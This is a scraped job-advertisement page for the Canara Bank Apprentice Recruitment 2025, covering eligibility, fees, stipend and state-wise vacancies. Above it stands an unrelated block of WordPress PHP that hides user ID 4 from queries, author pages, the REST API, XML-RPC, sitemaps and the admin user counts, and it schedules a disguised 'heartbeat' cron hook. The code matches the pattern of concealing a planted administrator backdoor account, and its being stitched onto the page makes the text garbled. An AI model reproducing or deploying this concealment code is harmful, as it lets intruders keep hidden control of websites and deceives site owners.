add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Canara Bank Apprentice Recruitment 2025 Apply Online for 3500 Posts – ABCE.IN
Skip to content
Canara Bank Apprentice Recruitment 2025: The Canara Bank is inviting online applications from eligible candidates for the apprenticeship vacancies. This recruitment drive aims to fill 3500 different positions across canara bank branches. Eligible candidates must submit their online applications from 23rd September to 12 October 2025 from the official website. The candidates will undergo through multiple stages of selection process i.e; Written Examination (Online), Documents Verification and Medical Examination. Candidates will recieve Rs. 15000/- (including subsidy amount, if any by govt of India) shall be paid. The apprenticeship training will be held for 12 months where aspirants will receive good amount of remuneration. Eligible candidates must be between 20 to 28 years with age relaxation applicable on certain categories in accordance with government rules and regulations. For more information read the complete article.
Canara Bank Apprentice Recruitment 2025- Overview:-
Organization Canara Bank Category Sarkari Job Type of Employment Bank Job Total Vacancies 3500 Posts Location All Over India Post Name Apprentice Official Website canarabank.com Period of Training 12 Months of On– the Job Training Applying Mode Online Closing Date 12.10.2025 Canara Bank WhatsApp Group Link JOIN NOW
Age Limit (as on 01.09.2025): –
Minimum Age: 20 years
Maximum Age: 28 years
Candidates must have been born not earlier than 01.09.1997 and not later than 01.09.2005 .
Age relaxation will be applicable as per government rules.
Education Qualification :-
A Degree (Graduation ) in any discipline from a University recognized by the Govt.
Vacancy Details :-
State / UT Total Seats Andaman and Nicobar Islands 5 Andhra Pradesh 242 Arunachal Pradesh 5 Assam 42 Bihar 119 Chandigarh 6 Chhattisgarh 40 Dadra and Nagar Haveli 2 Delhi 94 Goa 26 Gujarat 87 Haryana 111 Himachal Pradesh 23 Jammu and Kashmir 16 Jharkhand 73 Karnataka 591 Kerala 243 Lakshadweep 3 Madhya Pradesh 111 Maharashtra 201 Manipur 3 Meghalaya 6 Mizoram 2 Nagaland 3 Odisha 105 Pondicherry 4 Punjab 97 Rajasthan 95 Sikkim 4 Tamil Nadu 394 Telangana 132 Tripura 7 Uttar Pradesh 410 Uttarakhand 48 West Bengal 150 Total 3500
Selection Process :-
Written Exam (Online)
Document Verification
Medical Examination
Application Fee:-
Category Fee Amount UR / OBC / EWS ₹500/- SC / ST Nil Female Nil PwBD Nil
Salary Structure / Stipend: –
Apprentices will receive a monthly stipend of ₹15,000/- during the apprenticeship period.
This amount includes any subsidy provided by the Government of India , if applicable.
How to Apply for Canara Bank Apprentice Online Form 2025 :-
Visit the official website of Canara Bank – https://canarabank.com/.
Click on the “Apply Online” option available on the homepage/recruitment section.
The online application form will open on your screen.
Fill in all the required details carefully (personal, educational, and communication details).
Upload the required documents, photograph, and signature as per instructions.
Recheck the information entered and then click on the Submit button.
Take a printout of the submitted application form for future reference.
Important Links:-
FAQs:-
What is the age limit for Canara Bank Apprentice 2025? The minimum age is 20 years and the maximum is 28 years as on 01.09.2025 . Age relaxation is applicable as per government rules.
Is there any application fee for Canara Bank Apprentice 2025? Yes, UR/OBC/EWS – ₹500/-. SC/ST/Female/PwBD candidates are exempted from fee payment .